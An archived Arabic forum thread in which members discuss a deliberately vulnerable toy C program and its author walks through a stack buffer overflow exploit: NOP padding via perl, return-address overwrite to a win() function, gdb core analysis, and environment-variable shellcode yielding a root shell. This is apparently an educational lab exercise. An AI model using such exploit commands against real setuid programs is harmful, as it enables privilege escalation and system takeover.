الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

Hack-Game-1

مغلق
بدأه Qnix في 22 أكتوبر 2005 · 10 رد · 2,626 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

قمت بكتابه هاذا المثال البسيط بلغه C وهو عباره عن لعبه قوم انت بادخال قيمه معينه ويقوم باخبارك

ان فزت ام لا .. طبعا اي قيمه راح تدخلها راح تخسر فلازم تشوف طريقه تفوز فيها بدون

التغيير في ال sourecode

ملف ال binary elf32-i386

ملف ال sourecode

التفكيك للملف, راح يفيدك كثير

تم تعديل هذه المشاركة بواسطة Qnix في 22 أكتوبر 2005 في 14:56

#2

شو بتعني النجمة قبل العناوين؟

08048308  jmp    *0x804975c

وهي كمان

$0x1,0x8(%ebp)

شو المقصود من وضع القيمة x08 قبل اسم المسجل؟

لازم ابدا اتعلم اسمبلي على لينوكس :P

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#3

ال * تعني ان القيمه في العنوان الفلاني

والثانيه % للتمييز بين الريجستريات وهي سينتكس خاص ب AT&T

at&t syntax

اما ال 0x8 هي ال offset فقط هذه طريقه لكتابتها مثلا في intel syntax

تكتب بهاذا الشكل

[ebp+8]

واعتقد ان هذه الطريقه

$0x1,0x8(%ebp)

هي ل AT&T Syntax

تم تعديل هذه المشاركة بواسطة Qnix في 22 أكتوبر 2005 في 18:08

#4

الظاهر موجود

Buffer Overflow

هل يمكن تمرير Parameters أكبر من 500 حرف في Linux ؟

d4baa0.gif
#5

اكيد يمكن تمرير اكثر من 500 حرف في Linux .. لكن راح يكتب على ال stack

example:
buffer[0x51,0x51,0x51,0x51,0x51.......]0x51,0x51,0x51,0x51...

تم تعديل هذه المشاركة بواسطة Qnix في 22 أكتوبر 2005 في 19:19

#6

ليس لي في un*x

لكن يبدو الحل في تمرير أكثر من براميتر للبرنامج

بحيث يحتوي البراميتر الأول عدد حروف أكثر من 500 لكي يحدث Overflow

من الأحسب حساب الطول بالتدقيق لكن أظن أن 555 كافية

تحتوي Nop و تنتهي ب call موضع win

نظريا فقك

:D

d4baa0.gif
#7

صحيح كلامك ... راح اطبقه الان

root@qnix:~# ulimit -c unlimited; objdump -D hg |grep "win" | awk '{print $1}'
08048482

08048482 هو عنوان الداله win()

مثل ماقلت الخطء هو buffer overflow في الداله main عند نقل محتوى [1]argv

الى buffer عن طريق الداله strcpy()

فمثل ماقلت نمرر اكثر من 500 والبضبط 504 والباقي يكتب على SFP , RET

root@qnix:~# ./hg `perl -e 'print "\x90"x504 . "\x44\x33\x22\x11"'`
Hack-game v0.1 Coded by Qnix
Email   : Qnix[at]bsdmail[dot]org
Website : 0x11.org
- You should win this game .

You didnt win .
Segmentation fault (core dumped)

الان حدث خطء واخرج لنا ملف اسمه core يحتوىي على المعلومات ساقوم بفتح هاذا الملف بستعمال gnu debugger

root@qnix:~# gdb -c core -q
Using host libthread_db library "/lib/libthread_db.so.1".
(no debugging symbols found)
Core was generated by `./hg '.
Program terminated with signal 11, Segmentation fault.
#0  0x11223344 in ?? ()
(gdb) info reg
eax            0x0      0
ecx            0x4014a840       1075095616
edx            0x10     16
ebx            0x40149ff4       1075093492
esp            0xbffff740       0xbffff740
ebp            0x90909090       0x90909090
esi            0xbffff7a0       -1073743968
edi            0x2      2
eip            0x11223344       0x11223344
eflags         0x210246 2163270
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0xc010007b       -1072693125
fs             0x0      0
gs             0x0      0

كما ترون كتب على عنوان الرجوع %eip ب 11223344 التي قمنا بأدخالها بعد طبع 504 قيمه nop

الان نقوم بتغير العنوان 11223344 الى عنوان الداله win() لكي تقوم هذه الداله بطبع رساله الفوز .

root@qnix:~# ./hg `perl -e 'print "\x90"x504 . "\x82\x84\x04\x08"'`
Hack-game v0.1 Coded by Qnix
Email   : Qnix[at]bsdmail[dot]org
Website : 0x11.org
- You should win this game .

You didnt win .
You won . :D :D :D
Segmentation fault (core dumped)

لقد طبع رساله الفوز You won . :D :D :D !!

:) هاكذا قمنا بلفوز بلقوه الان تستطيع مثلا جعل البرنامج يقفز الى اي نقطه تحددها له مثلا لو كنت

تريد التحكم في النظام او اخذ /bin/bash واستخدامه تستطيع انظر الى هاذا المثال

قمت بكتابه shellcode يقوم باتشغيل /bin/bash وقمت بعمليه تجميعه وادخاله في ملف binary

الان سوف اقوم بادخال هاذا الملف الى ال environment

وبعدها اخرج عنوانه في ال environment واجعل البرنامج يقفز لهاذا العنوان .

الملف الموجود فيه الشيل كود اسمه XXXX واسم ال environment هو XXXX

root@qnix:~# export XXXX=`cat XXXX`
root@qnix:~# getenv XXXX
XXXX is located at 0xbffffcd1

كما ترون عنوان الشيل كود هو bffffc71

الان سوف اجعل البرنامج hg يقفز لعنوان win() وبعدها يقوم بتشغيل الشيل كود وبكذا نفوز بلقوه

ونحصل bash نتحكم عن طريقه في النظام .

root@qnix:~# ./hg `perl -e 'print "\x90"x504 . "\x82\x84\x04\x08" . "\xd1\xfc\xff\xbf"'`
Hack-game v0.1 Coded by Qnix
Email   : Qnix[at]bsdmail[dot]org
Website : 0x11.org
- You should win this game .

You didnt win .
You won . :D :D :D
sh-3.00# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

هاذا الموضوع تعليمي وليس تحدي

تحياتي

#8

جميل جدا أخي Qnix

سؤال خاج عن الموضوع

هل تستخدم Linux ؟ أن نعم أي توزيعة ؟

لأقوم بالتحميل و التجربة

d4baa0.gif
#9

نعم استعمل ليونكس ..

والتوزيعه هي من تركيبي قمت باستعمال نسخه لايف سيدي ومن هناك قمت

بترتيب الهاردسك والمساحه والفايل سيستيم وقمت بتركيب الكيرنل والملفات

والانفيرومنت والمكتابت وكثير من البرامج الجهازه جبتها بسرعه من سيدي

سلاكوير ووو...الخ

لو كنت تبحث عن نسخه جيده انصحك بستخدام slackware او gentoo .

( طبعا هاذا من رأيي <_< )

#10

شكرا

وهذا رابط من مايكروشوفت

عن محاولة ردع ثغرات Buffer OverFlow مستقبلا

d4baa0.gif
#11

الحل ان الناس تبرمج صح وتكون متعلمه صح

هذا الموضوع مغلق.

مواضيع مشابهة